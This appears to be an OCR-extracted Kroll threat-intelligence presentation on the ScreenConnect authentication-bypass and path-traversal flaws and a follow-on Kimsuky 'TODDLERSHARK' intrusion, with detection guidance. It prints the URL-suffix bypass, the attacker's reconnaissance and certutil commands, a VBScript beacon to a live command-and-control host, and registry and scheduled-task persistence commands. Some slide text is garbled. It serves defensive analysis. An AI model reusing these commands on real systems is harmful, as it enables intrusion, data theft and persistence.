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ConnectWise ScreenConnect

Jo

Vulnerability Information

CVE-2024-1708 &
CVE-2024-1709

CVSS Scores: 8.4, 10

Product Impacted:
ScreenConnect

Affected: version
<23.9.8

Used by thousands of orgs for remote support, administrative
work, sometimes in a B2B environment.

Approx 9700 instances available on the internet

CVE-2024-1709 (CVSS:10) can allow for authentication
bypass due to insufficient path filtering. This is possible
because any string can be appended after the extension to
allow for bypassing.

CVE-2024-1708 (CVSS:8.4) is a path traversal vulnerability
that can allow an attacker to execute code remotely on the
ScreenConnect server.

Together, CVE-2024-1709 and CVE-2024-1708 can allow a
threat actor to perform remote code execution post
authentication.
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A Slash Can Kill

Authentication bypass combined with a path traversal, allowing attacker to upload and execute arbitrary code, by
installing a malicious extension. Bypass is as simple as adding a /' to the end of the SetupW izard.aspx

https://www.myscserver.com:8040/SetupWizard.aspx/rcl8

User Name:

Administrator

Email:

Password: (Must be at least 8 characiers)

Verify Password:

PREVIOUS NEXT
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A Slash Can Kill

[e+.| Command Prompt

/ScreenConnect.Service.exe
private void OnBeginRequest (object sender, EventArgs e)
{
HttpContext context = ((HttpApplication)sender) .Context;
string text = context.Response.ApplyAppPathModifier (ConfigurationCache.SetupPage); // SetupWizard.aspx

bool flag = string.Equals(context.Request.Path, text, StringComparison.OrdinallgnoreCase);
if (!ConfigurationCache.IsSetup)

{

if (!ConfigurationCache.AllowRemoteSetup && !context.Request.IsLocal) // ScreenConnect has not yet been setup

{

throw new HttpException (403, "Application is in setup mode and is only accessible from local machine.");

}

if (!flag && Regex.IsMatch (context.Request.Path, ConfigurationCache.SetupRedirectFilter)) {
context.'\n_____-_,. ﬁ._,J_'__._,,.J_/‘J_..__J_)'.

return;

if (flag) // Go here if the URL matches

if (ConfigurationCache.AlreadySetupPage != null)
{

string text2 = context.Response.ApplyAppPathModifier (ConfigurationCache.AlreadySetupPage);
context.Response.Redirect (text?2);
return;

}
throw new HttpException (403, "Application is already setup.");

KRJOLL 7




Exploitation Timeline
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Timeline: ScreenConnect CVE Exploited in Less
than 48 Hours by Range of Threat Actor Types

APT, Raa$S groups begin to
leverage vuln

Lone wolf actors
leverage vuln

February 13 February 19 February 20  February 21 February 24 March
onwards
[ _ - @ O O >
Kroll analyst ConnectWise POCs released Initial access First Most recent
reports notifies date identified ransomware observed
vulnerability to customers of deployment exploitation
ConnectWise vulnerability observed
and patch

<48h to patch
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TODDLERSHARK
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First Contact

‘ Main Query ‘ + Add Sub Query

¥

i Events v 22.02.2024 00:00:00 To 24.02.2024 10:00:53 + Max Results: 2000 v Loading Mode: Priority Fields v

o : I
2 ((ObjectType = "ip" AND NetEventDirection = "OUTGOING" AND ( SrcProcName In AnyCase ( "mshta.exe” ) OR SrcProcCmdLine ContainsCIS "mshta " ) AND SrcProcCmdLine ContainsCIS "http" _
3 OR

4 (ObjectType = "process" AND TgtProcCmdLine In Contains Anycase ("-decode", "-encode") AND TgtProcName In AnyCase ("certutil.exe") AND SrcProcName EXISTS AND NOT SrcProcCmdLine In Contains Anycase ('daemon_windows', "nightly_windows")))

All Events 2 S@Z Processes 1 5} Network Actions 1

Data Fetched @  No Items Selected

Endpoint Name Y ¢ ¢ | EventTime < R ‘ Event Type Y ¢ | Source Process Command Line Y 8 [ Attribute
- EI b 4.01:09: h htto/feb h 5 Source IP Source Port Destination IP
v U _ Feb 23, 2024 01:09:55 IP Connect mshta.exe http:/febtotos.000webhostapp.com/microsoft/app/google - 58707 145.14.144.24

M o . SRR . . ’ . y Target Process Name Target Process Command Line
v [ El _ Feb 23,2024 01:10:22 Process Creation C:\Windows\System32\cmd.exe" /c certutil -encode C.\ProgramData\Joop-nwd.acl C,\ProgramData\l-}.acI certutilexe certutil -encode C:\Progra‘..-

Two LOLBIn detections:
* mshta with URL in commandline
e certutil —-encode command
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Process Tree

mshta.exe
) Events: 45 Q
ScreenConnect.ClientService.exe

cmd.exe
Events:2

’—-
I//
1

\
\

\ \‘\\__
\\ () cmd.exe
\\
\
\

\

\_. conhost.exe
Single Node
9 --@ cmd.exe
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We're Gonna Need a Bigger Payload ...
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Command Prompt —

cmd.exe /c hostname>>C:\ProgramData\ [RANDOM STRING].acl

cmd.exe /c systeminfo>>C:\ProgramData\[RANDOM STRING].acl

cmd.exe /c net user>>C:\ProgramData\ [RANDOM STRING].acl

cmd.exe /c query user>>C:\ProgramData\[RANDOM STRING].acl

cmd.exe /c REG QUERY

HKEY LOCAL MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v
ConsentPromptBehaviorAdmin>>C:\ProgramData\ [RANDOM STRING].acl

cmd.exe /c route print>>C:\ProgramData\[RANDOM STRING].acl

cmd.exe /c ipconfig /all>>C:\ProgramData\[RANDOM STRING].acl

cmd.exe /c arp -a>>C:\ProgramData\[RANDOM STRING].acl

cmd.exe /c powershell get-ciminstance -namespace root/securitycenter2 -classname
antivirusproduct>>C:\ProgramData\ [RANDOM STRING] .acl

cmd.exe /c netstat -ano>>C:\ProgramData\[RANDOM STRING].acl

cmd.exe /c tasklist>>C:\ProgramData\[RANDOM STRING].acl

cmd.exe /c dir “C:\Program Files”>>C:\ProgramData\[RANDOM STRING].acl

cmd.exe /c certutil -encode C:\ProgramData\[RANDOM STRING].acl

C:\ProgramData\ [RANDOM STRING 2].acl



Command Prompt —

On Error Resume Next

set mmofag = CreateObject("MSXML2.ServerXMLHTTP.6.0")

mmofag.open "POST", "http://febtotos.000webhostapp.com/microsoft/search"”, false
mmofag.setRequestHeader "Content-Type", "application/x-www-form-urlencoded"

mmofag.send "nk=Pkg5e690781hjd8VOYWIx00N4UdBYRTfZhRkxhYn1ljb1lFBs3RBd2Z6NehvMz fyUEV2iUVGdxRkNTJtb3J0QXglNg%s3D%3D"
Execute(mmofag.responseTextH




Overlaps with BABYSHARK &
RECONSHARK
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cmd.

cmd.

cmd.

cmd.

cmd.

SPES

SPES

SPES

SPES

SPES

/C

/c

/c

/c

/c

reg

reg

reg

reg

reg

add

add

add

add

add

HKCU\Software\Microsoft\Office\l4.

HKCU\Software\Microsoft\Office\lb.

HKCU\Software\Microsoft\Office\lb.

HKCU\Software\Microsoft\Office\l6.

HKCU\Software\Microsoft\Office\l6.

\Excel\

Security /v VBAWarnings /t REG DWORD |[/d 1 /f

\WORD\Slecurity /v|VBAWarnings /t REG_DWORD /d 1 /f

\Excel\

Security /v VBAWarnings| /t REG DWORD /d 1 /f

\WORD\ﬂecurity /v| VBAWarnings /t REG DWORD /d 1 /f

\Excel\

Security /v VBAWarnings| /t REG DWORD /d 1 /f

cmd.exe /c schtasks /Create /SC _minute /MO 1 /TN UsolCache /TR "wscript //e:vbscript //b

C:\ProgramDate\Usol\.UsolConfig.conf:htaccess" /f



Variant Comparison to Original BABYSHARK

HKCU\S icrosoft\Office\1l4.0\ExceljSecurity\\VBAWarnings,

HKCU\Software\Microsoft\Office\1l5.0\Excel\Security\VBAWarnings,

ierosofE\NOEfice\16.

icrosoft\Office\l4.

CU\Software\Microsoft\Office\l5.

HKCU\Software\Microsoft\Office\l6.d\WORD\|ISecu1

HKCU\Software\Microsoft\Command Processor\AutoRun, value: “powershell.exe mshta
https://tdalpacafarm[.]com/files/kr/contentsfUsofo.hta"

Source: Unit42
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Situational Awareness

* Checking VirusTotal, clearly others are seeing this too.

Source Process Command Line Target Process Command Line

"C:\WINDOWS\system32\cmd.exe" mshta.exe http://febtotos.@@@webhostapp.com/microsoft/app/google

URLs (&) &

Scanned Detections URL
2024-02-27 9N http:/ffebtotos.000webhostapp.com/microsoft/search
2024-02-25 9N http:/ffebtotos.000webhostapp.com/microsoft/app/music

http:/ffebtotos.000webhostapp.com/microsoft/search?
ap=ZDBOVHppUUNV3daNktuaTc2l 2dweGxWYWNVZE 6L 2czM2hSWVBxZkhPS2wV0h0eVNKTExATHp TaINGd3dmWg

2024-02-23 N https:/ffebtotos.000webhostapp.com/

2024-02-25 k]

2024-02-23 0/ http:/ffebtotos.000webhostapp.comimicrosoft/app/google
2024-02-22 01/92 http:/ffebtotos.000webhostapp.com/
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KTA082 - Kimsuky Threat Group

KIMSUKY, a cyber espionage group originating from North Overlapping TTPs:

Korea, employs techniques to gather intelligence in support of . Tendency to use 000webhostapp service.

the Democratic People’s Republic of Korea's (DPRK) strategic Use of certutil LOLBIn in BABYSHARK campaigns

objectives. Known for their use of social engineering and — PEM exfiltration

spearphishing tactics, KIMSUKY targets government entities, . Stealer-like behaviours

research centers, think tanks, and media organizations .
9 * Use of scheduled tasks for persistence

globally.

KRJOLL 20




Conclusion

-



Takeaways —

* Edge technology was the most observed initial access vector for ransomware

cases Kroll responded to in Q1.
* Threat actors are very quick to leverage n-day vulnerabilities

* Sub 24 hour (even 48 hour!) patching is unrealistic for most organizations

—Tabletop these scenarios
—Develop and test playbooks to respond to such events

* Defense in depth and endpoint monitoring

—Enabled fast identification of threat
—|Immediate isolation and remediation



Behavioral Based Detection

certutil.exe encoding files Detect certutil.exe being used to encode/decode T1132.001

files by checking for *-encode’ or -decode’ stings

passed to the program via the command line

Scheduled task creation Detect scheduled task creation with cmd.exe, T1053.005

PowerShell, wscript etc.

Detect scheduled task creation containing
Alternate Data Streams.

MSHTA Executing with URL Detect mshta.exe executing with URL parameters. T1218.005
E.g., ‘http://", ‘https://’ etc.

MSHTA Spawning cmd.exe Detect mshta.exe executing commands in cmd.exe T1218.005

or PowerShell

PowerShell executing an encoded command Detect PowerShell execution with encoded strings T1027.010

PowerShell spawning from cmd.exe Detect PowerShell execution from cmd.exe T1059.003
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Questions?
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For more information, please contact:

Keith Wojcieszek

Managing Director

Global Head of Threat Intelligence

Ely Tingson cti@kroll.com

Senior Vice President
Threat Intelligence Lead, APAC, Cyber Risk
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About Kroll

As the leading independent provider of risk and financial advisory solutions, Kroll leverages our unique insights, data and technology to help clients stay ahead of complex demands. Kroll's global team continues the firm’s nearly 100-year history of
trusted expertise spanning risk, governance, transactions and valuation. Our advanced solutions and intelligence provide clients the foresight they need to create an enduring competitive advantage. At Kroll, our values define who we are and how
we partner with clients and communities. Learn more at www.kroll.com.

M&A advisory, capital raising and secondary market advisory services in the United States are provided by Kroll Securities, LLC (member FINRA/SIPC). M&A advisory, capital raising and secondary market advisory services in the United Kingdom are
provided by Kroll Securities Ltd., which is authorized and regulated by the Financial Conduct Authority (FCA). Valuation Advisory Services in India are provided by Kroll Advisory Private Limited (formerly, Duff & Phelps India Private Limited), under a
category 1 merchant banker license issued by the Securities and Exchange Board of India.

© 2023 Kroll, LLC. All rights reserved.
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